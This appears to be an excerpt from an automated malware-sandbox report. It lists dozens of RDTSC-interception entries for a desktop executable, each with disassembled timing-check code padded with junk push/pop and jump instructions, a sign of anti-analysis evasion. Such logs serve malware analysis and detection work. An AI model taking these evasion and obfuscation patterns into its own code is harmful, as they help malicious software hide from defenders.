Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA42E2 second address: EA42FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F3DE916F956h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA42FB second address: EA42FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA261E second address: EA2622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA3643 second address: EA3649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACDA1 second address: EACDB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACDB3 second address: EACDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EACDB7 second address: EACDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC703 second address: EAC708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC708 second address: EAC70D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2246 second address: EB2269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2269 second address: EB226F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB226F second address: EB22AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F3DE9170BF2h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 jmp 00007F3DE9170BEBh 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push edi 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB236A second address: EB236E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB236E second address: EB2372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2372 second address: EB237B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2502 second address: EB2506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2506 second address: EB250A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9241 second address: EB924A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB924A second address: EB9250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E7D0 second address: E6E7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7EF8 second address: EB7EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7EFC second address: EB7F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE9170BF9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F3DE9170BEEh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3DE9170BF1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7F3F second address: EB7F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7F43 second address: EB7F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB84C4 second address: EB84E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE916F969h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB84E9 second address: EB850E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DE9170BF5h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB850E second address: EB8512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB891C second address: EB895F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F3DE9170BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F3DE9170BFFh 0x00000012 jmp 00007F3DE9170BF9h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3DE9170BF4h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB895F second address: EB8963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8AAD second address: EB8ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE9170BEEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F3DE9170BE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8ACA second address: EB8AD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8AD0 second address: EB8AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8AD6 second address: EB8AEB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DE916F95Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8C12 second address: EB8C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8C16 second address: EB8C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Fh 0x00000007 jmp 00007F3DE916F968h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8DB8 second address: EB8DC4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DE9170BEEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8F07 second address: EB8F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8F0B second address: EB8F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8F19 second address: EB8F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8F1F second address: EB8F2F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F3DE9170BE6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8F2F second address: EB8F50 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DE916F95Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3DE916F961h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDC77 second address: EBDC88 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3DE9170BE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDC88 second address: EBDC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E880DB second address: E880E5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3DE9170BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E880E5 second address: E8810B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F3DE916F965h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8810B second address: E8810F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8810F second address: E8814C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F3DE916F96Eh 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F3DE916F95Dh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E882F7 second address: E882FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E885A1 second address: E88625 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3DE916F960h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F3DE916F958h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 clc 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F3DE916F958h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov di, cx 0x00000049 jo 00007F3DE916F95Bh 0x0000004f mov ecx, 6DB1F171h 0x00000054 nop 0x00000055 jmp 00007F3DE916F962h 0x0000005a push eax 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jp 00007F3DE916F956h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88625 second address: E88629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E889B8 second address: E889BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E889BE second address: E889C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CA4 second address: E88CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CA8 second address: E88CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88CAC second address: E88CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88D89 second address: E6F3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F3DE9170BE8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D194Ah], ecx 0x00000029 mov edi, dword ptr [ebp+122D374Fh] 0x0000002f call dword ptr [ebp+122D1B38h] 0x00000035 jo 00007F3DE9170BFCh 0x0000003b jmp 00007F3DE9170BECh 0x00000040 pushad 0x00000041 push esi 0x00000042 pop esi 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE24E second address: EBE256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE256 second address: EBE25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE39B second address: EBE3BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3DE916F960h 0x0000000b pushad 0x0000000c jne 00007F3DE916F956h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE3BE second address: EBE3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3DE9170BE6h 0x0000000a jmp 00007F3DE9170BF5h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push esi 0x00000015 pop esi 0x00000016 jng 00007F3DE9170BE6h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE82A second address: EBE874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DE916F968h 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jmp 00007F3DE916F95Dh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edi 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jmp 00007F3DE916F95Fh 0x0000001d jbe 00007F3DE916F956h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC60B0 second address: EC60B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC666B second address: EC6695 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3DE916F956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3DE916F968h 0x00000011 jg 00007F3DE916F956h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6695 second address: EC66AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF4h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC67FF second address: EC6814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE916F961h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC69B0 second address: EC69B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC69B4 second address: EC69DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F3DE916F956h 0x0000000e jmp 00007F3DE916F969h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B10 second address: EC6B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3DE9170BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B1A second address: EC6B39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F965h 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F3DE916F956h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6B39 second address: EC6B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC75D8 second address: EC75F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3DE916F95Dh 0x00000008 jmp 00007F3DE916F95Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF4AE second address: ECF4C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b jno 00007F3DE9170BE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF612 second address: ECF61E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F3DE916F956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF61E second address: ECF623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF623 second address: ECF62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF62B second address: ECF634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF1AF second address: ECF1D3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DE916F958h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jc 00007F3DE916F95Ch 0x00000010 jnp 00007F3DE916F956h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007F3DE916F95Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFFF1 second address: ECFFFC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFFFC second address: ED0002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0002 second address: ED0008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED324F second address: ED3260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F3DE916F956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3260 second address: ED326C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3DE9170BE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED326C second address: ED3283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3DE916F962h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3283 second address: ED32A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF9h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED556C second address: ED5574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5574 second address: ED557A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED56A5 second address: ED56ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F3DE916F96Ah 0x0000000f push eax 0x00000010 jmp 00007F3DE916F961h 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA4EB second address: EDA4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDA7A1 second address: EDA7AD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3DE916F95Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE00B second address: EDE042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jng 00007F3DE9170BF3h 0x0000000c jmp 00007F3DE9170BF2h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3DE9170BEAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40390 second address: E40396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40396 second address: E403B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DE9170BF9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD6B2 second address: EDD6B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD6B8 second address: EDD6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E403F0 second address: E403F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3B0A second address: EE3B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
